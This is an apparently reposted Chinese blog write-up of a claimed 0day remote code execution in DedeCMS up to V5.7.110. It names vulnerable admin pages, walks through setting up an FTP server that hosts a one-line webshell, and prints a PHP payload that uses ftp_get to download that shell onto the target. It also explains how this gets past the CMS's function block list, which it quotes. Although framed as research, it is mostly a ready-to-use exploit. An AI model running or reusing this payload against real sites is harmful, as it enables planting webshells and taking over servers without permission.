Dedecms最新版--0day分享分析(二)

admin 2023年9月5日09:20:01评论11 views字数 2260阅读7分32秒阅读模式

前言

接上一篇的Tricks,既然利用远程文件下载方式成为了实现RCE的最好方法,毕竟在执行的时候没有恶意shell文件,恶意木马被存放于远端服务器,那么下文的day就是对远程恶意文件的利用。

环境

下载最新版本:

https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.110-UTF8.zip

Dedecms最新版--0day分享分析(二)

影响版本:

<=DedeCMS-V5.7.110

漏洞URL:

/uploads/dede/article_string_mix.php
/uploads/dede/sys_data.php
/uploads/dede/sys_task.php
/uploads/dede/media_add.php 
/uploads/dede/article_template_rand.php

漏洞详情

远程服务器开启ftp服务

控制面板 >> 程序 >> 启用或关闭windows功能

Dedecms最新版--0day分享分析(二)

完成更改

Dedecms最新版--0day分享分析(二)

计算机管理

Dedecms最新版--0day分享分析(二)

添加FTP站点

Dedecms最新版--0day分享分析(二)

配置地址以及账号密码

Dedecms最新版--0day分享分析(二)

上面存放一句话木马

Dedecms最新版--0day分享分析(二)

文件内容为

Dedecms最新版--0day分享分析(二)

payload如下:

<?

$ftp_server = "192.168.0.102";
$ftp_username = "administrator";
$ftp_password = "147258369";

$file = "shell.php";
$local_file = "shell2.php";

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_username, $ftp_password);
// try to download $file and save to $local_file
if (ftp_get($conn_id, $local_file, $file, FTP_BINARY)) {
echo "Successfully downloaded $filen";
} else {
echo "There was a problem while downloading $filen";
}

// close the connection
ftp_close($conn_id);
?>

代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。通过利用ftp_get函数远程下载恶意代码文件,代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。

Dedecms最新版--0day分享分析(二)

文件保存后,访问路径

/uploads/data/template.rand.php

Dedecms最新版--0day分享分析(二)

提示已经成功下载一句话木马文件,查看当前目录已经生成名称为shell2.php的shell文件

http://dedecms.xyz:8066/uploads/data/shell3.php

Dedecms最新版--0day分享分析(二)

成功命令执行

漏洞分析

DedeCMS-V5.7.109-UTF8uploadsdedemedia_add.php

上传文件的时候仅仅只对权限以及上传类型做了校验,对文件内容未做校验导致漏洞产生。

继续向下看,文件上传文件处理代码DedeCMS-V5.7.109-UTF8uploadsdedefile_manage_control.php

Dedecms最新版--0day分享分析(二)

代码中定义了disable_funs,但是禁用的函数涉及

phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders

在上面的payload中,利用手法利用点儿在于

Dedecms最新版--0day分享分析(二)

ftp_get函数是可以绕过disable_funs的,使用该函数实现bypass进行远程恶意代码调用,导致RCE。

小结

其它的方法也可以尝试,ftp远程调用,telnet远程调用等,包括很多方法可以实现,但是使用条件存在限制。其实在Dede由于后台参数可以直接进行配置,代码中disable_funs的定义没有意义,该模块只要存在,只要绕过正则,RCE的方式有很多。

原文始发于微信公众号(合天网安实验室):Dedecms最新版--0day分享分析(二)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月5日09:20:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Dedecms最新版--0day分享分析(二)http://cn-sec.com/archives/2010995.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息